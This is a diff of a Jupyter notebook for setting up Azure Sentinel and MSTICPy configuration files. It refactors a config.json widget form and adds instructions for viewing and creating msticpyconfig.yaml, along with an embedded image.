+ }, + "text/plain": [ + "VBox(children=(Text(value='./config.json', description='Path to config.json', layout=Layout(width='95%'), styl…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "import requests\n", "import json\n", @@ -206,19 +208,24 @@ "\n", "config_dict = {}\n", "\n", + "\n", "def get_tenant_for_subscription(sub_id):\n", - " aad_url = f\"https://management.azure.com/subscriptions/{sub_id}?api-version=2016-01-01\"\n", + " aad_url = (\n", + " f\"https://management.azure.com/subscriptions/{sub_id}?api-version=2016-01-01\"\n", + " )\n", "\n", " resp = requests.get(aad_url)\n", " if resp.status_code == 401:\n", " hdr_list = resp.headers[\"WWW-Authenticate\"].split(\",\")\n", - " hdr_dict = {item.split(\"=\")[0].strip(): item.split(\"=\")[1].strip() for item in hdr_list}\n", - " return hdr_dict[\"Bearer authorization_uri\"].strip(\"\\\"\").split(\"/\")[3]\n", + " hdr_dict = {\n", + " item.split(\"=\")[0].strip(): item.split(\"=\")[1].strip() for item in hdr_list\n", + " }\n", + " return hdr_dict[\"Bearer authorization_uri\"].strip('\"').split(\"/\")[3]\n", " else:\n", " return None\n", - " \n", "\n", - "def save_config_json(file_path, tenant_id, subscription_id, workspace_id):\n", + "\n", + "def save_config_json(file_path, **kwargs):\n", " if Path(file_path).exists():\n", " bk_file = (\n", " str(Path(file_path))\n", @@ -227,63 +234,106 @@ " )\n", " print(f\"Exising config found. Saving current config.json to {bk_file}\")\n", " Path(file_path).rename(bk_file)\n", - " \n", - " print(f\"TenantID found: {tenant_id}\")\n", - " config_dict[\"tenant_id\"] = tenant_id\n", - " config_dict[\"subscription_id\"] = subscription_id\n", - " config_dict[\"workspace_id\"] = workspace_id\n", - " \n", + "\n", " with open(file_path, \"w\") as fp:\n", - " json.dump(config_dict, fp, indent=2)\n", + " json.dump(kwargs, fp, indent=2)\n", " print(f\"Settings saved config to {file_path}\")\n", "\n", + "\n", "def save_config(b):\n", + " tenant = input_tenant.value\n", + " if not tenant:\n", + " tenant = get_tenant_for_subscription(input_wgt[\"tenant\"].value)\n", + " print(f\"TenantID found: {tenant_id}\")\n", + "\n", " save_config_json(\n", - " file_path=input_path.value,\n", - " tenant_id=get_tenant_for_subscription(input_sub_id.value),\n", - " subscription_id=input_sub_id.value,\n", - " workspace_id=input_ws_id.value,\n", + " file_path=input_wgt[\"path\"].value,\n", + " tenant_id=tenant,\n", + " subscription_id=input_wgt[\"sub_id\"].value,\n", + " workspace_id=input_wgt[\"ws_id\"].value,\n", + " workspace_name=input_wgt[\"workspace\"].value,\n", + " resource_group=input_wgt[\"res_grp\"].value,\n", " )\n", "\n", "\n", "DEFAULT_CONFIG = \"./config.json\"\n", - "WIDGET_DEFAULTS = {'layout': widgets.Layout(width='95%'),\n", - " 'style': {'description_width': 'initial'}}\n", - "input_path = widgets.Text(description=\"Path to config.json\",\n", - " value=DEFAULT_CONFIG,\n", - " **WIDGET_DEFAULTS)\n", - "input_sub_id = widgets.Text(description=\"Azure Sentinel Subscription ID\",\n", - " placeholder=\"for example, ef28a760-8c61-41d7-8167-5c8e5d91268b\",\n", - " **WIDGET_DEFAULTS)\n", - "input_ws_id = widgets.Text(description=\"Azure Sentinel Workspace ID\",\n", - " placeholder=\"for example, ef28a760-8c61-41d7-8167-5c8e5d91268b\",\n", - " **WIDGET_DEFAULTS)\n", + "WIDGET_DEFAULTS = {\n", + " \"layout\": widgets.Layout(width=\"95%\"),\n", + " \"style\": {\"description_width\": \"200px\"},\n", + "}\n", + "\n", + "input_wgt = {\n", + " \"path\": widgets.Text(\n", + " description=\"Path to config.json\", value=DEFAULT_CONFIG, **WIDGET_DEFAULTS\n", + " ),\n", + " \"workspace\": widgets.Text(\n", + " description=\"Workspace name\", placeholder=\"Workspace name\", **WIDGET_DEFAULTS\n", + " ),\n", + " \"sub_id\": widgets.Text(\n", + " description=\"Azure Sentinel Subscription ID\",\n", + " placeholder=\"for example, ef28a760-8c61-41d7-8167-5c8e5d91268b\",\n", + " **WIDGET_DEFAULTS,\n", + " ),\n", + " \"ws_id\": widgets.Text(\n", + " description=\"Azure Sentinel Workspace ID\",\n", + " placeholder=\"for example, ef28a760-8c61-41d7-8167-5c8e5d91268b\",\n", + " **WIDGET_DEFAULTS,\n", + " ),\n", + " \"res_grp\": widgets.Text(\n", + " description=\"Resource group\", placeholder=\"Resource group\", **WIDGET_DEFAULTS\n", + " ),\n", + " \"tenant\": widgets.Text(\n", + " description=\"TenantId\", placeholder=\"Leave blank to look up\", **WIDGET_DEFAULTS\n", + " ),\n", + "}\n", "\n", "if Path(DEFAULT_CONFIG).exists():\n", " with open(DEFAULT_CONFIG, \"r\") as fp:\n", " config_dict = json.load(fp)\n", - " input_sub_id.value = config_dict[\"subscription_id\"]\n", - " input_ws_id.value = config_dict[\"workspace_id\"]\n", + " input_wgt[\"path\"].value = DEFAULT_CONFIG\n", + " input_wgt[\"sub_id\"].value = config_dict.get(\"subscription_id\", \"\")\n", + " input_wgt[\"ws_id\"].value = config_dict.get(\"workspace_id\" \"\")\n", + " input_wgt[\"workspace\"].value = config_dict.get(\"workspace_name\" \"\")\n", + " input_wgt[\"res_grp\"].value = config_dict.get(\"resource_group\" \"\")\n", + " input_wgt[\"tenant\"].value = config_dict.get(\"tenant_id\" \"\")\n", "\n", "save_button = widgets.Button(description=\"Save config.json file\")\n", "save_button.on_click(save_config)\n", "\n", - "display(widgets.VBox([input_path, input_sub_id, input_ws_id, save_button]))\n", - "\n" + "display(widgets.VBox([*(input_wgt.values()), save_button]))" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "## `msticpyconfig.yaml` Configuration File\n", + "## MSTICPy Configuration File - `msticpyconfig.yaml`\n", + "\n", + "*MSTICPy* is a Python package used in most of the Jupyter notebooks\n", + "on Azure-Sentinel-Notebooks. It provides a lot of functionality specific\n", + "to threat hunting and investigations, including:\n", + "- Data querying against Azure Sentinel tables (also MDE, Splunk and other)\n", + "- Threat Intelligence lookups using multiple TI providers (VirusTotal, AlienVault OTX and others)\n", + "- Common enrichment functions (GeoIP, IoC extraction, WhoIs, etc.)\n", + "- Visualization using event timelines, process trees and Geo-mapping\n", + "- Advanced analysis such as Time Series decomposition, Anomaly detection and clustering.\n", + "\n", + "> **Note**: the configuration actions in this section are\n", + "> an abbreviated version of the\n", + "> [MPSettingsEditor notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/MPSettingsEditor.ipynb)
\n", + "> Use this notebook for a fuller guide on how to configure your settings.
\n", + "> Also, see these sections in the *MSTICPy* documentation:
\n", + "> [MSTICPy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)
\n", + "> [MSTICPy Settings Editor](https://msticpy.readthedocs.io/en/latest/getting_started/SettingsEditor.html)\n", + "\n", + "\n", "\n", "`config.json` provides some basic configuration for connecting to your Azure Sentinel workspace. \n", "However, there are many features that require additional configuration information. Some examples are:\n", "- Threat Intelligence Provider connection information\n", "- GeoIP connection information\n", "- Keyvault configuration for storing secrets remotely\n", - "- MDATP and Azure API connection information.\n", + "- MDE and Azure API connection information.\n", "- Connection information for multiple Azure Sentinel workspaces.\n", "\n", "Settings for these are stored in the `msticpyconfig.yaml` file. This file is read from the current directory or you can set an environment variable (`MSTICPYCONFIG`) pointing to its location.\n", @@ -293,7 +343,7 @@ "\n", "\n", "### Threat Intelligence Provider Setup\n", - "For more information on the msticpy Threat Intel lookup class see the [documentation here](https://msticpy.readthedocs.io/en/latest/TIProviders.html).\n", + "For more information on the msticpy Threat Intel lookup class see the [documentation here](https://msticpy.readthedocs.io/en/latest/data_acquisition/TIProviders.html).\n", "\n", "Primary providers are used by default. Secondary providers are not run by default but can be invoked by using the `providers` parameter to `lookup_ioc()` or `lookup_iocs()`. Set the `Primary` config setting to `True` or `False` for each provider ID according to how you want to use them. The `providers` parameter should be a list of strings identifying the provider(s) to use. \n", "\n", @@ -303,10 +353,6 @@ "- For the Azure Sentinel TI provider, you will need the workspace ID and tenant ID and will need to authenticate in order \n", " to access the data (although if you have an existing authenticated connection with the same workspace/tenant, this connection will be re-used).\n", "\n", - "If you need to create a new msticpyconfig.yaml file, run the \"Create a new mstipyconfig.yaml\" cell below.\n", - "\n", - "**Warning** - this will overwrite a file of the same name in the current directory\n", - "\n", "### GeoIP Providers\n", "Like the TI providers these services normally need an API key to access. You can read more about configuration\n", "the supported providers here. [msticpy GeoIP Providers](https://msticpy.readthedocs.io/en/latest/data_acquisition/GeoIPLookups.html)\n", @@ -319,7 +365,257 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "### Display existing `msticpyconfig.yaml`" + "### Display your existing `msticpyconfig.yaml`\n", + "\n", + "We'll be using some of the *MSTICPy* configuration tools:\n", + "*MPConfigEdit* and *MPConfigFile*, so we'll import these first" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "from msticpy.config import MpConfigFile, MpConfigEdit, MpConfigControls\n", + "from msticpy.nbtools import nbwidgets\n", + "from msticpy.common import utility as utils" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Then run MpConfig file to view your current settings." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "mpconfig = MpConfigFile()\n", + "mpconfig.load_default()\n", + "mpconfig.view_settings()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### If you see nothing but a pair of curly braces...\n", + "...in the settings view above it means\n", + "that you probably need to create up a **msticpyconfig.yaml**\n", + "\n", + "If you know that you have configured a msticpyconfig file, \n", + "you can search for this file using MpConfigFile. Click on **Load file**. \n", + "Once you've done that go to the [Setting the path to your msticpyconfig.yaml](#Setting-the-path-to-your-msticpyconfig.yaml)" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### Import your Config.json and create a msticpyconfig.yaml [Azure Sentinel]\n", + "\n", + "Follow these steps:\n", + "1. Run MpConfigFile\n", + "2. Locate your config.json\n", + " - click **Load file** button\n", + " - Browse - use the controls to navigate to find config.json\n", + " - Search - set the starting directory to search and open the **Search** drop-down\n", + " - When you see the file click on it and click **Select File** button (below the file browser)\n", + " - optionally, click **View Settings** to confirm that this looks right\n", + "3. Convert to convert to msticpyconfig format\n", + " - click **View Settings**\n", + "4. Save your `msticpyconfig.yaml` file\n", + " - type a path into the **Current file** text box\n", + " - Click on **Save file**\n", + "5. You can set this file to always load by assigning the path to an environment variable.\n", + " See [Setting the path to your msticpyconfig.yaml](#Setting-the-path-to-your-msticpyconfig.yaml)" + ] + }, + { + "attachments": { + "97bef751-11a7-49e4-b881-0e2e7ead1a30.png": { + "image/png": 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" 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